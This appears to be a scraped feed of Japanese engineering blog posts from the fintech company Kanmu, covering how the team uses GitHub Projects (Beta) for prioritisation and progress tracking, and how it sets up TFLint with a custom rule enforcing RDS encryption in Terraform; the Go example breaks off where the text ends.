<p>第二弾があるかはわかりませんが、面白そうな事ができそうならチャレンジしてみたいです。</p> <p>定番ですが、積極採用中です!<br /> <a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>エンジニアをめっちゃ探してますのでカジュアル面談からでも何卒!!!!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> fkubota_owl カンムにおけるGitHub Projects Beta活用方法 hatenablog://entry/13574176438068406056 2022-03-02T10:51:11+09:00 2022-03-02T10:51:11+09:00 マニアックなSQLに続き2回目の登場、COOの achiku です。 これは カンムでは GitHub Projects (Beta) を利用してプロダクト改善を推進している。Private Betaの時点から使い始めてから約4ヶ月、今の運用に落ち着いてから約2ヶ月程度経過したため、導入の目的、目的を鑑みた運用方法、現時点での状態をまとめる。誰かの参考になれば嬉しい。 ※以降断りのない場合はGitHub ProjectsもしくはProjectsはGitHub Projects (Beta)を指す ※同様に以降断りのない場合はprはGitHub上のPull Requestを指す 前提(2022/… <p><a href="https://tech.kanmu.co.jp/entry/2021/06/23/095952">マニアックなSQL</a>に続き2回目の登場、COOの <a href="https://twitter.com/_achiku">achiku</a> です。</p> <h2>これは</h2> <p>カンムでは <a href="https://github.com/features/issues/">GitHub Projects (Beta)</a> を利用してプロダクト改善を推進している。Private Betaの時点から使い始めてから約4ヶ月、今の運用に落ち着いてから約2ヶ月程度経過したため、導入の目的、目的を鑑みた運用方法、現時点での状態をまとめる。誰かの参考になれば嬉しい。</p> <p>※以降断りのない場合は<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> ProjectsもしくはProjectsは<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Projects (Beta)を指す ※同様に以降断りのない場合はprは<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>上のPull Requestを指す</p> <h2>前提(2022/03時点)</h2> <p>まずは前提の共有から。ぱっと見ても分かるように、小さくはないがとんでもないサイズでもない、という状況のチームの話であるという前提がある。</p> <ul> <li>作っているもの <ul> <li><a href="https://vandle.jp/">バンドルカード</a> <ul> <li><a href="https://prtimes.jp/main/html/rd/p/000000075.000012797.html">カンム、Visaプリペイドカード「バンドルカード」500万ダウンロード突破</a></li> </ul> </li> </ul> </li> <li>2016年ローンチ当時から<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>を利用して開発している</li> <li>アプリと通信するVandle <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a>、決済処理を担う<a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a>、ネイティブアプリの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>は別れている</li> <li>プロダクトのサイズ感が分かりそうな情報(as of 2022/03) <ul> <li>Vandel <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> <ul> <li>テーブル数: 310</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a>エンドポイント数: 121</li> </ul> </li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a> <ul> <li>テーブル数: 47</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a>エンドポイント数: 6</li> </ul> </li> </ul> </li> <li>バンドルカードチーム構成: 約15名 <ul> <li>ソフトウェアエンジニア(バックエンド/インフラ): 4</li> <li>ソフトウェアエンジニア(モバイル): 1.5</li> <li>データサイエンティスト/アナリスト: 2</li> <li>デザイナー: 2.5</li> <li>マーケター(広告運用含む): 3</li> <li>PM: 1</li> <li>何でもやる人(achiku): 1</li> <li>(0.5=poolという新プロダクト兼務)</li> </ul> </li> </ul> <p>2021/06に <a href="https://github.blog/2021-06-23-introducing-new-github-issues/">Introducing new GitHub issue</a> が公開された。その3ヶ月後の2021/09の<a href="https://github.blog/changelog/2021-09-29-the-new-github-issues-09-29-update/">The new GitHub Issues – September 29th update</a>にて、Workflowsが導入された事が確認できた。これで複数<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>を跨いでソフトウェアエンジニアは通常通りissue/prを中心に仕事をしていれば進捗がProjects上に反映される基礎が整った。</p> <h2>導入の目的</h2> <p>Projects、なんとなく良さそうとはいえ目的を明確にしなければ情報の設計、運用の設計、チームの納得感の醸成を行うことは出来ない。サービスありきで導入したが結局使われないというのは悲しい。よってまずは以下2点に絞って導入の目的を明確化した。</p> <h3>1. 進捗の把握/報告という行動を撲滅する</h3> <ul> <li>普通に仕事をしていたら勝手に進捗が記録されて欲しい(or 最小限の手数で記録されて欲しい) <ul> <li>進捗を報告するのも確認するのも極力緊急事態発生時のみにし、普段は誰が見てもサクッと分かるようにすることでより生産的な仕事に時間を使いたい</li> </ul> </li> <li>誰がどの程度のボリュームの仕事に取り組んでおり、どのタイミングで次の大きめのタスクに取り組めそうか/今ちょっとお願い毎出来るのかを"全員"が確認する術を持ちたい <ul> <li>一人が優先順位とチームの稼働状況をリアルタイムに把握して差配する形式だと、チームメンバーが5人を超えたあたりから非効率の方が大きいと感じている</li> </ul> </li> </ul> <h3>2. チームが自律的に改善に取り組めるような情報の通り道を作る</h3> <ul> <li>優先順位が明確になっており且つチームがその優先順位に納得感を持つことで自律的に動きを取りやすくする <ul> <li>あくまでも情報の通り道なので<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Projectsを導入するだけで自律的に改善が出来るわけではないが、"最新情報が常にメンテされ続けている場所"として活用可能と考える</li> </ul> </li> <li>優先順位によって事業<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%D1%A5%AF">インパク</a>トが出る確率を上げる工夫、その優先順位が現時点で最善であるという思考プロセスの伝達の工夫は別途必要 <ul> <li>プロダクトが提供する価値の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>、事業計画とプロダクトが提供する価値の中間表現、プロダクト会議体の設計、優先順位の明示とその背景ストーリー、学習した事とその共有、全てのあわせ技</li> </ul> </li> </ul> <p>優先度は1の方を高く設定した。仕組みで解決可能っぽいが人数が増えれば増えるほど全体としての無駄が大きくなる性質を持っているからだ。1と比較して2はかなり複雑で、あわせ技と継続的努力で改善していく類のもの。ただし、<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Projectsの中でもissue/prに優先順位を分かりやすく付ける事ができる為一旦目標の中に入れた。あわせ技である「プロダクトが提供する価値の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>」「事業計画とプロダクトが提供する価値の中間表現」「事業計画の四半期計画策定プロセス改善」等も同時に進めていたので、それらの情報の通り道としての役割を担ってもらえないかなぁという期待があった。</p> <h2>導入前の実験</h2> <p>まずは優先度を高く設定した「進捗の把握/報告という行動を撲滅する」という目的を、<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Projects導入で解決できそうなのかを小さく実験することにした。vandleというProjectsを作成し、既存のissue/prをachikuが勝手にProjectsに登録しViewを作りながら動作確認していくという流れ。今各チームが沿っているフローの変更は最小限にして本当に目的が達成できるのかを見たかった。</p> <p>余談だがProjectsをissue/prに紐付けるというのはよく出来た設計だなと思った。issue/prが適切に運用できているチームであればという前提はつくが、それぞれに対して<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%E1%A5%BF%A5%C7%A1%BC%A5%BF">メタデータ</a>を付与し一覧化/グループ化を試しながら小さく実践投入出来る。そしてそこまで大きなプロダクトでなければ1名<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>に慣れた人が本気出せばいける(と思う)。ここで小さく価値を感じてもらえれば、まずは開発チーム内部での運用、ひいてはプロダクトチーム全体での運用につなげていける。そしてそれは開発者のみが参加する<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>のシート数という市場を拡張することにつながる。実験が軽いのは本当に正義だし、市場をズラして拡大するのは大正義だなと思う。</p> <p>この実験の中でやったことは以下。</p> <h3>Workflowsを設定する</h3> <p>いつもの仕事してたら勝手に進捗が記録されるようにする為には必要な設定。カンムではissue/prを中心として開発になっているのでこれらがclose/mergeされたら自動的にProjects側にも反映される。もちろん、issue/prに現れない仕事や大きなissue/prになると正確に記録し続ける事は難しい。限界はあるし、詳細にやろうとしすぎると効用が逓減していく類のものと認識しているので最初はおおらかな気持ちで良いんじゃないかと考えている。2022/03現在Default workflowsは "Code review approved" 以外全てEnabledにしている。</p> <p><figure class="figure-image figure-image-fotolife" title="Workflows"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220301/20220301190755.png" alt="f:id:kanmu-tech:20220301190755p:plain" width="1200" height="472" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Workflows</figcaption></figure></p> <h3>StatusとViewを作る</h3> <p>カンムではBoard/Priority/Milestone/Archived/NoPriorityの5つのViewを作っている。Status属性はToDo/Planning/In Progress/In Review/Done/Archivedの6つに増やした。ToDo/In Progress/Done/Archivedだけでスタートしたが、機能の検討も入れたいよね(=Planningの追加)、レビュー依頼まで終わってるものは分かりたいよね(=In Review)を追加している。が、最初はシンプルに始めるのが良いと思う。</p> <p>BoardはStatus属性でGroup Byしているだけなので飛ばして、Priority/NoPriority/Milestone/ArchiveというViewの役割とどうやってフィルタしているかを以下で解説する。</p> <h4>Priority/NoPriority</h4> <p>まず以下のような形でザクッとPriorityを定義した。あまり言い回しにこだわらず、この段階ではなんとなくこんなもんかなくらいで良いと思う。後で精緻化すれば良い。</p> <ul> <li>Priorityの定義 <ul> <li>P0🔥 <ul> <li>ユーザー影響が出ている障害/影響が出かねない事案/セキュリティ関連の緊急対応はP0とする</li> </ul> </li> <li>P1💨 <ul> <li>四半期で定めた注力事項、事業計画上の必達事項、パートナーとの依存関係がありリリースの期限が存在はP1とする</li> </ul> </li> <li>P2😗 <ul> <li>ユーザー/チーム/会社に取ってやった方が良い事は分かりきっているがP1ではないものはP2とする</li> </ul> </li> <li>P3🌴 <ul> <li>出来たらやりたいがそこまで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%D1%A5%AF">インパク</a>トなさそうなものはP3とする</li> </ul> </li> </ul> </li> </ul> <p>Priority ViewはTable View、Priority属性でGroup ByしPriority属性昇順でソートし <code>-status:Done -status:Archived</code> とフィルタをかけてDone/Archivedなものを除外する。こうすることで今Q抱えている注力項目(P1)は何か、P1がブロックされているのであれば手をつけれるP2は何か、という事を常時更新し続けられているリストを見ながら考える事が出来る。</p> <p><figure class="figure-image figure-image-fotolife" title="Priority View (1)"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220301/20220301201600.png" alt="f:id:kanmu-tech:20220301201600p:plain" width="1200" height="555" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Priority View (1)</figcaption></figure></p> <p><figure class="figure-image figure-image-fotolife" title="Priority View (2)"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220301/20220301201623.png" alt="f:id:kanmu-tech:20220301201623p:plain" width="1200" height="557" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Priority View (2)</figcaption></figure></p> <p>NoPriority ViewはTable View、 <code>no:priority</code> とフィルタをかけてPriorityがついていないものを表示する。Group Byやソートは設定していない。暫定運用時はこのViewを定期的に確認し、登録されたissue/prの優先度を一旦achikuが判断することにしていた。このViewがあることで「一応Priorityの定義はあるが最初は難しい事を考えずにProjectsに放り込んでほしい!」というお願いが可能になる。</p> <h4>Milestone</h4> <p>以前はIssueのMilestoneを利用して複数<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>を跨いだリリース時期定義をしていたが、現在はProjects内で定義し<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>跨いで付与できる属性であるIterationという概念を利用している。(<a href="https://github.blog/changelog/2021-10-14-the-new-github-issues-10-14-update/">The new GitHub Issues – October 14th update</a> Milestoneでgroup byするのはまぁまぁ面倒だったのでこのリリースノートを読んで小躍りして喜んだ事を覚えている。)</p> <p>現在のMilestone ViewはTable View、Iteration属性でGroup ByしPriority属性でソートし <code>-status:Archived</code> というフィルタをかけてArchivedなものを除外する。自分はこのViewを最も頻繁に見ている。既存の流れを踏襲して1 Iteration = 1 weekとして運用しており、金曜の段階で全てがクリアされていると爽快な気分になる。</p> <p><figure class="figure-image figure-image-fotolife" title="Milestone View"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220301/20220301201930.png" alt="f:id:kanmu-tech:20220301201930p:plain" width="1200" height="557" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Milestone View</figcaption></figure></p> <h4>Archive</h4> <p>Archive ViewはTable View、Iteration属性でGroup ByしIteration属性を降順でソートし <code>status:Archived -no:iteration</code> とフィルタを掛けてStatus属性がArchivedでIteration属性が付与されているものだけ表示する。もちろん登録しDoneまで遷移したissue/prをProjectsから外すこともできるが、過去の振り返りも行いたい為このViewを作っている。前週あるいは前Q単位で振り返るのにもこのArchive Viewは便利だと思う。</p> <p><figure class="figure-image figure-image-fotolife" title="Archive View"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220301/20220301202159.png" alt="f:id:kanmu-tech:20220301202159p:plain" width="1200" height="677" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Archive View</figcaption></figure></p> <h3>実験中のコミュニケーション</h3> <p>なるべくチームに負担を掛けないように、ただし「何やってんのか分からんな」とならない程度にやっている事を共有しつつフィードバックをもらい、「それ便利じゃん」となってもらえるように微調整していった。この辺はあまり<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>できることはなく、自分は今までの信頼貯金的な部分に助けられたと思う。各位自分のポジションを鑑みていい塩梅でよろしくやっていって欲しい。</p> <h2>実験中の学び</h2> <p>実験中は結構学び多かった。あまり客観的数値と共に示せるものがなく心苦しいが重要だなと思った学びをいくつか挙げる。各位割引ながら読んでほしい。</p> <h3>モメンタムが視えるッ!</h3> <p>毎週少しずつプロダクトが提供する価値が上がっていく、実験を通して分からない事が減っていく、というのを実感できる。また、チーム全体の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%EB%A1%BC%A5%D7%A5%C3%A5%C8">スループット</a>は大体これくらいなんだなというのが確認できる。それはかなり基礎的な事では?という指摘はそうなんだけど、一部の開発メンバーだけでなくプロダクトチーム全体が上記を認識できるようになったのは良かったと思う(Projectsを利用したプロダクト定例のあわせ技的な側面もあるが)。</p> <h3>P0/P1が分かるからP2/P3がやりやすい</h3> <p>実験していた時期は自分もバックエンドの開発に参加しており、優先順位が明確になっていると細かい改善もやりやすいと感じた。「このP1は一旦フロントエンド側待ちなのでこっちのサクッと片付きそうなP2/P3やるかな」や「休憩の仕事としてのP2/P3」みたいな動きがやりやすくなっている(※休憩の仕事は自分の造語なのでチーム内で特に使われているわけではないが雰囲気伝わるかな...)。</p> <p>同時にArchive Viewを振り返りながら「今回のIterationがP1だけになってしまっているのでP2/P3もう少し入れれないか」「このIterationのP1/P2/P3割合はいい塩梅」「このIterationはP0結構入ってしまったので他あまり出来なかったな...」等、どういう優先度の割合でタスクに取り組んでいるのかを見返せるのは良いなと思う。</p> <p>もちろん、P1をしっかりとプロダクトが提供する価値の増大に紐付ける為の事前調査や実験設計はとても重要。だが往々にしてP1仕事は不確実性が高く複雑で、1週間やったら即時結果が出る類のものではない。そういう難しい問題をチームで解くためにもフォーカスを保つことは、事前調査や実験設計と同様に重要。ただ、これは個人的な話ではあるが、少しでも、しかし確実に良くなる改善があるのであれば、時間を見つけてサッとやる、しかも品質も高い、それが腕前だろうという思いがある。「"要はバランスおじさん"をしない為に腕磨いとるんじゃこちとらよォォ」と、心の野山に住んでいる山賊が言っているのだ。今回実施した優先順位付けのProjects登録はこの心の野山に住まう山賊の性に合っており自分は気に入っている。</p> <h3>システム的な改善を四半期注力事項にどうやって入れていくか</h3> <p>これは実験の振り返りをしていく中でソフトウェアエンジニア側から上った指摘。実験時に策定したP1は、事業計画を四半期に割った際に目指すべき事業の結果とプロダクトがユーザーに提供する価値向上を合わせて決めていく方式を取った。この際、システム的な安定性/開発容易性は事業計画上に現れにくい為、あまり考慮出来ていなかった。が、しっかりと商売していく為にはBS/PL双方が重要であるように、プロダクトが提供し続ける価値とプロダクト内部のシステム的/オペレーション的品質にも目を配り、適切にメンテナンスし続けていく事は重要だ。この部分はまだ決定打と言えるような解決策は練れていないが、以前から四半期単位で運用しているOKR運用に載せ、そこでプロダクトマネージャー(achiku)とソフトウェアエンジニアチームの議論を経て決めた四半期注力項目をソフトウェアエンジニアチームのP1とする、という形を取っている(OKR、2019年から運用しているんだけどその話は別途)。</p> <p>今のところObjectiveとKey Resultの形に落とす事でリファクタをするにもパフォーマンスチューニングをするにも監視強化するにも地に足のついた議論が出来るので、結構良い気はしている。</p> <h3>Qの最後に2週間ほど開発は手を止めて細かい改善を行うのは良いリズムを作るかもしれない</h3> <p>以前 <a href="https://basecamp.com/shapeup/webbook">Shape Up</a> を読んだ際にソフトウェアエンジニアは6週間で作りその後の2週間で作る際に荒れてしまった部分、作っていたら見つけた改善可能なポイント、リファクタをやるという話があった。自分はShape Upの「アイディア/機能を考える人」と「作る人」を明確に分けるスタンスにはそこまで共感できていないのだけど、このサイクル自体は良いなと思っていた。最初から内部的な品質には固定割合の労力を割く事を決めておき、対応が後手になるのをルールでカバーするというか。また、deeeet氏と話した際に彼のチームでも6週間+2週間のサイクルで回していて調子良いと言っていたので、まずフロントエンドチームで実験。2週間で細かいライブラリの更新、やろうと思って積み残していたリファクタ、CI/リリースプロセスの改善、等を経てみて話を聞いたが好評だった。</p> <p>もちろんプロダクトの内部品質で重要な部分はOKRに載せてP1として対応するんだけど、どうしてもそこに載せるまでもない細かい改善ポイントは残ってしまう。よって、こういう時間を固定で定義して早めに倒しておくのは費用対効果としても良いのかもしれないと今は考えている。この辺みんなどうやって運用しているのか知りたい。</p> <h2>まとめ</h2> <p>再度目的をまとめる。</p> <ul> <li>進捗の把握/報告という行動を撲滅する</li> <li>チームが自律的に改善に取り組めるような情報の通り道を作る</li> </ul> <p>「進捗の把握/報告という行動を撲滅する」はProjects導入し、チームに便利さを体感してもらい、運用方法を周知し、振り返りを行い、今後もこのフローを改善しながらやっていこうという流れは作れている。もちろんこれで完成というわけではなく、プロダクトチームがより一体となって提供する価値を向上させる為に改善していきたい。</p> <p>「チームが自律的に改善に取り組めるような情報の通り道を作る」に関してはPriorityで進む方向の大枠を示し、Iterationでリズム良く改善をしていける形は整った。再度になるが、この目的の中でProjectsが貢献できる部分は比較的小さな一部であり、プロダクトが提供する価値をより大きくしていく為にはより包括的な活動が必要になる。その部分に関しての工夫や学びもいつか共有できるようにしたいと考えている。</p> <p>カンムにおける<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Projects (Beta)の導入方法、運用方法、1周回してみての学びを書いた。プロダクトやチームのサイズによるが、<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>を利用してさえいれば上記のViewを作りとりあえず始められる。すでに利用しているチームがあれば是非どうやっているのか教えてほしいし議論したいと思っているので <a href="https://twitter.com/_achiku">achiku</a> まで気軽に話しかけて欲しい。<a href="https://meety.net/matches/OnMQiCJaRFEm">Meety</a> もあるので是非!</p> kanmu-tech TFLintを使ったterraformのチェックとカスタムルールの設定 hatenablog://entry/13574176438067322327 2022-03-01T10:07:17+09:00 2022-03-01T10:07:17+09:00 インフラエンジニアの菅原です。 カンムはサービスの運用にAWSを使用し、そのリソースの管理にterraformを使用しています。 リソースの定義はGitHub上でコードとして管理されているので、何かリソースを追加する場合はプルリクエストを作成してレビューを受けることになるので、運用のポリシーに反するようなリソースの作成はある程度防ぐことができます。 しかしレビューはあくまで人の目によるものなので、チェックが漏れてしまうこともあります。 また「RDSは必ず暗号化すること」などのルールはCIで機械的にチェックして欲しいところです。 そこでカンムではtflintを導入してチェックの自動化を行うように… <p>インフラエンジニアの<a href="https://twitter.com/sgwr_dts">菅原</a>です。</p> <p>カンムはサービスの運用に<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>を使用し、そのリソースの管理にterraformを使用しています。 リソースの定義は<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>上でコードとして管理されているので、何かリソースを追加する場合はプルリク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>トを作成してレビューを受けることになるので、運用のポリシーに反するようなリソースの作成はある程度防ぐことができます。</p> <p>しかしレビューはあくまで人の目によるものなので、チェックが漏れてしまうこともあります。 また「RDSは必ず暗号化すること」などのルールはCIで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%C5%AA">機械的</a>にチェックして欲しいところです。</p> <p>そこでカンムではtflintを導入してチェックの自動化を行うようにしました。</p> <h2>TFLintの導入</h2> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fterraform-linters%2Ftflint" title="GitHub - terraform-linters/tflint: A Pluggable Terraform Linter" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://github.com/terraform-linters/tflint">github.com</a></cite></p> <p>TFLintはterraform用のlinterで、非推奨な書式に警告を出してくれたり、ベストプ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%E9%A5%AF">ラク</a>ティスを強制することができたりします。 メジャーなプロバイダー(<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>/Azure/<a class="keyword" href="http://d.hatena.ne.jp/keyword/GCP">GCP</a>)のルールセットはすでに存在しており、カンムでは<a href="https://github.com/terraform-linters/tflint-ruleset-aws">tflint-ruleset-aws</a>を利用しています。</p> <p>tflintを導入するにはまず対象のtfファイルが置かれているフォルダに <code>.tflint.hcl</code> を作成し <code>tflint --init</code> を実行します。</p> <pre class="code lang-hcl" data-lang="hcl" data-unlink><span class="synType">plugin</span> <span class="synConstant">&quot;aws&quot;</span> <span class="synSpecial">{</span> <span class="synIdentifier">enabled</span> = <span class="synConstant">true</span> <span class="synIdentifier">version</span> = <span class="synConstant">&quot;0.12.0&quot;</span> <span class="synIdentifier">source</span> = <span class="synConstant">&quot;github.com/terraform-linters/tflint-ruleset-aws&quot;</span> <span class="synSpecial">}</span> </pre> <pre class="code lang-sh" data-lang="sh" data-unlink>$ tflint <span class="synSpecial">--init</span> Installing <span class="synSpecial">`aws`</span> plugin... Installed <span class="synSpecial">`aws`</span> <span class="synPreProc">(</span><span class="synSpecial">source: github.com/terraform-linters/tflint-ruleset-aws, version: </span><span class="synConstant">0</span><span class="synSpecial">.</span><span class="synConstant">12</span><span class="synSpecial">.</span><span class="synConstant">0</span><span class="synPreProc">)</span> </pre> <p>tflintを実行するとルールに違反した箇所を表示してくれます。</p> <pre class="code lang-sh" data-lang="sh" data-unlink>$ tflint <span class="synConstant">3</span> issue<span class="synPreProc">(</span><span class="synSpecial">s</span><span class="synPreProc">)</span> found: Warning: resource <span class="synSpecial">`aws_acm_certificate`</span> needs to contain <span class="synSpecial">`create_before_destroy </span><span class="synStatement">=</span><span class="synSpecial"> </span><span class="synStatement">true</span><span class="synSpecial">`</span> <span class="synError">in</span> <span class="synSpecial">`lifecycle`</span> block <span class="synPreProc">(</span><span class="synSpecial">aws_acm_certificate_lifecycle</span><span class="synPreProc">)</span> on route53.tf line 25: 25: resource <span class="synStatement">&quot;</span><span class="synConstant">aws_acm_certificate</span><span class="synStatement">&quot;</span> <span class="synStatement">&quot;</span><span class="synConstant">stg_example_com</span><span class="synStatement">&quot;</span> <span class="synSpecial">{</span> Reference: https://github.com/terraform-linters/tflint-ruleset-aws/blob/v0.<span class="synConstant">12</span>.<span class="synConstant">0</span>/docs/rules/aws_acm_certificate_lifecycle.md Notice: <span class="synStatement">&quot;</span><span class="synConstant">default.redis6.x</span><span class="synStatement">&quot;</span> is default parameter group. You cannot edit it. <span class="synPreProc">(</span>aws_elasticache_replication_group_default_parameter_group<span class="synPreProc">)</span> on redis.tf line 123: 123: parameter_group_name <span class="synStatement">=</span> <span class="synStatement">&quot;</span><span class="synConstant">default.redis6.x</span><span class="synStatement">&quot;</span> Reference: https://github.com/terraform-linters/tflint-ruleset-aws/blob/v0.<span class="synConstant">12</span>.<span class="synConstant">0</span>/docs/rules/aws_elasticache_replication_group_default_parameter_group.md Error: <span class="synStatement">&quot;</span><span class="synConstant">t1.2xlarge</span><span class="synStatement">&quot;</span> is an invalid value as instance_type <span class="synPreProc">(</span>aws_instance_invalid_type<span class="synPreProc">)</span> on ec2.tf line 40: 40: instance_type <span class="synStatement">=</span> <span class="synStatement">&quot;</span><span class="synConstant">t1.2xlarge</span><span class="synStatement">&quot;</span> </pre> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>のルールセットの場合、デフォルトで有効になっているルールは<a href="https://github.com/terraform-linters/tflint-ruleset-aws/blob/master/docs/rules/README.md">ここ</a>にあるとおりです。</p> <p><code>.tflint.hcl</code> で個々のルールの有効・無効を指定することもできます。</p> <pre class="code lang-hcl" data-lang="hcl" data-unlink><span class="synType">rule</span> <span class="synConstant">&quot;aws_elasticache_replication_group_default_parameter_group&quot;</span> <span class="synSpecial">{</span> <span class="synIdentifier">enabled</span> = <span class="synConstant">false</span> <span class="synSpecial">}</span> </pre> <p>また、<code>tflint-ignore</code> というコメントをつけることで特定の箇所のチェックを無視することもできます。</p> <pre class="code lang-tf" data-lang="tf" data-unlink>resource &quot;<span class="synConstant">aws_instance</span>&quot; &quot;<span class="synConstant">my-instance</span>&quot; <span class="synSpecial">{</span> <span class="synIdentifier">#</span> tflint<span class="synStatement">-</span>ignore<span class="synStatement">:</span> aws_instance_invalid_type instance_type <span class="synStatement">=</span> &quot;<span class="synConstant">t1.2xlarge</span>&quot; </pre> <h2><a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actionsへの組み込み</h2> <p>terraform-lintersから<a href="https://github.com/marketplace/actions/setup-tflint">setup-tflint</a>アクションが提供されているので、簡単に<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actionsに組み込むことができます。</p> <pre class="code lang-yaml" data-lang="yaml" data-unlink> <span class="synStatement">- </span><span class="synIdentifier">uses</span><span class="synSpecial">:</span> actions/checkout@v2 <span class="synStatement">- </span><span class="synIdentifier">run</span><span class="synSpecial">:</span> tflint --init <span class="synIdentifier">env</span><span class="synSpecial">:</span> <span class="synIdentifier">GITHUB_TOKEN</span><span class="synSpecial">:</span> ${{ secret.GITHUB_TOKEN }} <span class="synStatement">- </span><span class="synIdentifier">run</span><span class="synSpecial">:</span> tflint </pre> <p>※<a href="https://github.com/reviewdog/reviewdog">reviewdog</a>というツールを使った<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%CE%A5%C6%A1%BC%A5%B7%A5%E7%A5%F3">アノテーション</a>を入れてくれるアクション <a href="https://github.com/reviewdog/action-tflint">reviewdog/action-tflint</a>もありますが、そちらを試したことはないです。</p> <h2>カスタムルールの作成</h2> <p>カンムではRDSの暗号化など必須にしたいポリシーがいくつかあるため、カスタムルールを作成しています。</p> <p>カスタムルールを作成する場合、まず <a href="https://github.com/terraform-linters/tflint-ruleset-template">tflint-ruleset-template</a> をテンプレートとして<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>に<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>を作成します。</p> <p>たとえば <a class="keyword" href="http://d.hatena.ne.jp/keyword/aws">aws</a>_rds_cluster リソースの storage_encrypted をチェックするルールを作成する場合、チェックを書いたGoの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%BD%A1%BC%A5%B9%A5%B3%A1%BC%A5%C9">ソースコード</a>を作成します。</p> <ul> <li><code>rules/aws_rds_cluster_must_be_encrypted.go</code></li> </ul> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">package</span> rules <span class="synStatement">import</span> ( <span class="synConstant">&quot;fmt&quot;</span> hcl <span class="synConstant">&quot;github.com/hashicorp/hcl/v2&quot;</span> <span class="synConstant">&quot;github.com/terraform-linters/tflint-plugin-sdk/terraform/configs&quot;</span> <span class="synConstant">&quot;github.com/terraform-linters/tflint-plugin-sdk/tflint&quot;</span> ) <span class="synStatement">type</span> AwsRdsClusterMustBeEncryptedRule <span class="synStatement">struct</span>{} <span class="synStatement">func</span> NewAwsRdsClusterMustBeEncryptedRule() *AwsRdsClusterMustBeEncryptedRule { <span class="synStatement">return</span> &amp;AwsRdsClusterMustBeEncryptedRule{} } <span class="synStatement">func</span> (r 